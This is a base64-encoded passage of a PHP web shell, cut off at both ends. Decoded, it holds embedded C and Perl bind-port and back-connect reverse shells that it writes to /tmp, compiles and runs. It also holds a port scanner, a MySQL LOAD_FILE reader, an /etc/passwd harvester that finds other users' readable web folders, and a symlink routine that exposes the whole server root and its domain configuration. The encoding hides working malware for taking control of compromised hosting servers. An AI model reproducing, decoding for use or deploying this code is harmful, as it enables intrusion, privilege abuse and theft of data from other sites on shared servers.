nZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7CiAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgewogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRfUE9TVFsncDInXSkuIicpIGFzIGZpbGUiKTsKICAgICAgICAgICAgICAgICRmaWxlID0gJGRiLT5mZXRjaCgpOwogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOwogICAgICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICAkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBJSHNOQ2lBZ0lDQnBiblFnWm1RN0RRb2dJQ0FnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUhOcGJqc05DaUFnSUNCa1lXVnRiMjRvTVN3d0tUc05DaUFnSUNCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZEtTazdEUW9nSUNBZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNOQ2lBZ0lDQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNOQ2lBZ0lDQnBaaUFvS0dOdmJtNWxZM1FvWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0tpa2dKbk5wYml3Z2MybDZaVzltS0hOMGNuVmpkQ0J6YjJOcllXUmtjaWtwS1R3d0tTQjdEUW9nSUNBZ0lDQWdJSEJsY25KdmNpZ2lRMjl1Ym1WamRDQm1ZV2xzSWlrN0RRb2dJQ0FnSUNBZ0lISmxkSFZ5YmlBd093MEtJQ0FnSUgwTkNpQWdJQ0JrZFhBeUtHWmtMQ0F3S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F4S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F5S1RzTkNpQWdJQ0J6ZVhOMFpXMG9JaTlpYVc0dmMyZ2dMV2tpS1RzTkNpQWdJQ0JqYkc5elpTaG1aQ2s3RFFwOSI7CiAgICAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsKICAgICRiaW5kX3BvcnRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnNhV0l1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNvcVlYSm5kaWtnZXcwS0lDQWdJR2x1ZENCekxHTXNhVHNOQ2lBZ0lDQmphR0Z5SUhCYk16QmRPdzBLSUNBZ0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnlPdzBLSUNBZ0lHUmhaVzF2YmlneExEQXBPdzBLSUNBZ0lITWdQU0J6YjJOclpYUW9RVVpmU1U1RlZDeFRUME5MWDFOVVVrVkJUU3d3S1RzTkNpQWdJQ0JwWmlnaGN5a2djbVYwZFhKdUlDMHhPdzBLSUNBZ0lISXVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjaTV6YVc1ZmNHOXlkQ0E5SUdoMGIyNXpLR0YwYjJrb1lYSm5kbHN4WFNrcE93MEtJQ0FnSUhJdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0RRb2dJQ0FnWW1sdVpDaHpMQ0FvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSm5Jc0lEQjRNVEFwT3cwS0lDQWdJR3hwYzNSbGJpaHpMQ0ExS1RzTkNpQWdJQ0IzYUdsc1pTZ3hLU0I3RFFvZ0lDQWdJQ0FnSUdNOVlXTmpaWEIwS0hNc01Dd3dLVHNOQ2lBZ0lDQWdJQ0FnWkhWd01paGpMREFwT3cwS0lDQWdJQ0FnSUNCa2RYQXlLR01zTVNrN0RRb2dJQ0FnSUNBZ0lHUjFjRElvWXl3eUtUc05DaUFnSUNBZ0lDQWdkM0pwZEdVb1l5d2lVR0Z6YzNkdmNtUTZJaXc1S1RzTkNpQWdJQ0FnSUNBZ2NtVmhaQ2hqTEhBc2MybDZaVzltS0hBcEtUc05DaUFnSUNBZ0lDQWdabTl5S0drOU1EdHBQSE4wY214bGJpaHdLVHRwS3lzcERRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnZ0tIQmJhVjBnUFQwZ0oxeHVKeWtnZkh3Z0tIQmJhVjBnUFQwZ0oxeHlKeWtnS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhCYmFWMGdQU0FuWERBbk93MEtJQ0FnSUNBZ0lDQnBaaUFvYzNSeVkyMXdLR0Z5WjNaYk1sMHNjQ2tnUFQwZ01Da05DaUFnSUNBZ0lDQWdJQ0FnSUhONWMzUmxiU2dpTDJKcGJpOXphQ0F0YVNJcE93MEtJQ0FnSUNBZ0lDQmpiRzl6WlNoaktUc05DaUFnSUNCOURRcDkiOwogICAgJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOwogICAgCiAgICBlY2hvICc8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT1cJ25mcFwnIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLnBhc3MudmFsdWUpO3JldHVybiBmYWxzZTsiPgogICAgPGJyIC8+PHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2g8L3NwYW4+PGJyLz4KICAgIFBvcnQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwb3J0XCcgdmFsdWU9XCc0NDNcJz4gUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwYXNzXCcgdmFsdWU9XCdUZWFcJz4gVXNpbmc6IDxzZWxlY3QgbmFtZT0idXNpbmciPjxvcHRpb24gdmFsdWU9XCdicGNcJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ2JwcFwnPlBlcmw8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+CiAgICA8L2Zvcm0+CiAgICA8Zm9ybSBuYW1lPVwnbmZwXCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KICAgIDxiciAvPjxiciAvPjxzcGFuPkJhY2stY29ubmVjdCB0bzwvc3Bhbj48YnIvPgogICAgU2VydmVyOiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwnc2VydmVyXCcgdmFsdWU9IicuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJyI+IFBvcnQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwb3J0XCcgdmFsdWU9XCc0NDNcJz4gVXNpbmc6IDxzZWxlY3QgbmFtZT0idXNpbmciPjxvcHRpb24gdmFsdWU9XCdiY2NcJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ2JjcFwnPlBlcmw8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+CiAgICA8L2Zvcm0+PGJyPic7ICAgIAogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgewogICAgICAgIGZ1bmN0aW9uIGNmKCRmLCR0KSB7CiAgICAgICAgICAgICR3PUBmb3BlbigkZiwidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7CiAgICAgICAgICAgIGlmKCR3KSAgICB7CiAgICAgICAgICAgICAgICBAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZwdXRzKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRmLEBiYXNlNjRfZGVjb2RlKCR0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCR3KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwYycpIHsKICAgICAgICAgICAgY2YoIi90bXAvYnAuYyIsJGJpbmRfcG9ydF9jKTsKICAgICAgICAgICAgJG91dCA9IGV4KCJnY2MgLW8gL3RtcC9icCAvdG1wL2JwLmMiKTsKICAgICAgICAgICAgQHVubGluaygiL3RtcC9icC5jIik7CiAgICAgICAgICAgICRvdXQgLj0gZXgoIi90bXAvYnAgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsKICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBicCIpLiI8L3ByZT4iOwogICAgICAgIH0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsKICAgICAgICAgICAgY2YoIi90bXAvYnAucGwiLCRiaW5kX3BvcnRfcCk7CiAgICAgICAgICAgICRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9icC5wbCAiLiRfUE9TVFsncDInXS4iICYiKTsKICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOwogICAgICAgIH0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjYycpIHsKICAgICAgICAgICAgY2YoIi90bXAvYmMuYyIsJGJhY2tfY29ubmVjdF9jKTsKICAgICAgICAgICAgJG91dCA9IGV4KCJnY2MgLW8gL3RtcC9iYyAvdG1wL2JjLmMiKTsKICAgICAgICAgICAgQHVubGluaygiL3RtcC9iYy5jIik7CiAgICAgICAgICAgICRvdXQgLj0gZXgoIi90bXAvYmMgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsKICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBiYyIpLiI8L3ByZT4iOwogICAgICAgIH0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsKICAgICAgICAgICAgY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7CiAgICAgICAgICAgICRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblBvcnRTY2FubmVyKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5Qb3J0IFNjYW5uZXI8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKICAgIAogICAgaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydlbmQnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3N0YXJ0J10pKXsKICAgICAgICAkc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnc3RhcnQnXSk7CiAgICAgICAgJGVuZCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydlbmQnXSk7CiAgICAgICAgJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnaG9zdCddKTsKICAgICAgICBmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsKICAgICAgICAgICAgJGZwID0gQGZzb2Nrb3BlbigkaG9zdCwgJGksICRlcnJubywgJGVycnN0ciwgMyk7CiAgICAgICAgICAgIGlmKCRmcCl7CiAgICAgICAgICAgICAgICBlY2hvICdQb3J0ICcuJGkuJyBpcyA8Zm9udCBjb2xvcj1ncmVlbj5vcGVuPC9mb250Pjxicj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICc8YnIgLz48YnIgLz48Y2VudGVyPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJQb3J0U2Nhbm5lciI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT1wMT48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwMiI+CiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYyIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgICAgICAgIEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PGJyIC8+PGJyIC8+CiAgICAgICAgICAgICAgUG9ydCBzdGFydDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0YXJ0IiB2YWx1ZT0iMCIvPjxiciAvPjxiciAvPgogICAgICAgICAgICAgIFBvcnQgZW5kOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJlbmQiIHZhbHVlPSI1MDAwIi8+PGJyIC8+PGJyIC8+CiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNjYW4gUG9ydHMiIC8+CiAgICAgICAgICAgICAgPC9mb3JtPjwvY2VudGVyPjxiciAvPjxiciAvPic7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsgICAgCn0KCmZ1bmN0aW9uIGFjdGlvblJlYWRhYmxlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5SZWFkYWJsZSBEaXJzPC9oMT4nOwogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsKICAgICRzbSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwogICAgaWYoJHNtKSB7CiAgICAgICAgZWNobyAnPGJyIC8+PGI+RXJyb3I6IHNhZmVfbW9kZSA9IG9uPC9iPjxiciAvPjxiciAvPic7CiAgICB9IGVsc2UgewogICAgICAgIEAkcGFzc3dkID0gZm9wZW4oJy9ldGMvcGFzc3dkJywncicpOwogICAgICAgIGlmICghJHBhc3N3ZCkgeyAKICAgICAgICAgICAgZWNobyAnPGJyIC8+PGI+Wy1dIEVycm9yIDogY291ZG5gdCByZWFkIC9ldGMvcGFzc3dkPC9iPjxiciAvPjxiciAvPic7IAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwdWIgPSBhcnJheSgpOwogICAgICAgICAgICAkdXNlcnMgPSBhcnJheSgpOwogICAgICAgICAgICAkY29uZiA9IGFycmF5KCk7CiAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgd2hpbGUoIWZlb2YoJHBhc3N3ZCkpIHsKICAgICAgICAgICAgICAgICRzdHIgPSBmZ2V0cygkcGFzc3dkKTsKICAgICAgICAgICAgICAgIGlmICgkaSA+IDM1KSB7CiAgICAgICAgICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7CiAgICAgICAgICAgICAgICAgICAgJHVzZXJuYW1lID0gc3Vic3RyKCRzdHIsMCwkcG9zKTsKICAgICAgICAgICAgICAgICAgICAkZGlyeiA9ICcvaG9tZS8nLiR1c2VybmFtZS4nL3B1YmxpY19odG1sLyc7CiAgICAgICAgICAgICAgICAgICAgaWYgKCgkdXNlcm5hbWUgIT0gJycpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8YnI+PGJyPic7CiAgICAgICAgICAgIGVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCR1c2VycykuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiIuIjxiciAvPiI7CiAgICAgICAgICAgIGVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwdWIpLiIgcmVhZGFibGUgcHVibGljX2h0bWwgZGlyZWN0b3JpZXNcbiIuIjxiciAvPjxiciAvPjxiciAvPiI7CiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgewogICAgICAgICAgICAgICAgJHBhdGggPSAiL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsKICAgICAgICAgICAgICAgIGVjaG8gJHBhdGguIjxicj4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gIjxiciAvPjxiciAvPjxiciAvPlsrXSBDb21wbGV0ZS4uLlxuIi4iPGJyIC8+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsgICAgCn0KCmZ1bmN0aW9uIGFjdGlvblN5bWxpbmsoKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlN5bWxpbms8L2gxPic7CiAgICAkZnVybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICAgICRleHBsZCA9IGV4cGxvZGUoJy8nLCRmdXJsICk7CiAgICAkYnVybCA9c3RyX3JlcGxhY2UoZW5kKCRleHBsZCksJycsJGZ1cmwpOyAgCiAgICAKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPjxjZW50ZXI+CiAgICAgICAgICAgICAgICA8aDM+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCd3ZWJzaXRlXCcsbnVsbCkiPkRvbWFpbnM8L2E+IF0gLSAKICAgICAgICAgICAgICAgICAgICBbIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ3dob2xlXCcsbnVsbCkiPldob2xlIFNlcnZlciBTeW1saW5rPC9hPiBdIC0gCiAgICAgICAgICAgICAgICAgICAgWyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCdjb25maWdcJyxudWxsKSI+Q29uZmlnIGZpbGVzIHN5bWxpbms8L2E+IF08L2gzPjwvY2VudGVyPic7CiAgICAKICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nd2Vic2l0ZScpCiAgICB7CiAgICAgICAgZWNobyAiPGNlbnRlcj4iOwogICAgICAgICRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwogICAgICAgIGlmKCEkZDBtYWlucyl7IAogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPkNhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj1jZW50ZXIgY2xhc3M9J21haW4nIGJvcmRlcj0wID48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlcnMgPC90aD48L3RyPiI7CiAgICAgICAgICAgIAogICAgICAgICAgICAkdW5rID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgiem9uZSIsJGQwbWFpbikpewogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewogICAgICAgICAgICAgICAgICAgICAgICAkdW5rW10gPSAkZG9tYWluc1sxXVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRjb3VudD0xOwogICAgICAgICAgICAkdW5rID0gYXJyYXlfdW5pcXVlKCR1bmspOwogICAgICAgICAgICAkbD0wOwogICAgICAgICAgICBmb3JlYWNoKCR1bmsgYXMgJGQpewogICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGQpKTsKICAgICAgICAgICAgICAgIGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudC4iPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vIi4kZC4iLz4iLiRkLiI8L2E+PC90ZD48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjwvdHI+IjsKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvY2VudGVyPiI7IAogICAgfQogCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dob2xlJykKICAgIHsKICAgICAgICBlY2hvICI8Y2VudGVyPiI7CiAgICAgICAgQG1rZGlyKCdzeW0nLDA3NzcpOwogICAgICAgICRoZHQgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKICAgICAgICAkaGZwID1AZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOwogICAgICAgIGZ3cml0ZSgkaGZwICwkaGR0KTsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgewogICAgICAgICAgICBAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7CiAgICAgICAgfQogICAgICAgICRkMG1haW5zID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOwogICAgICAgIGlmKCEkZDBtYWlucykgewogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3R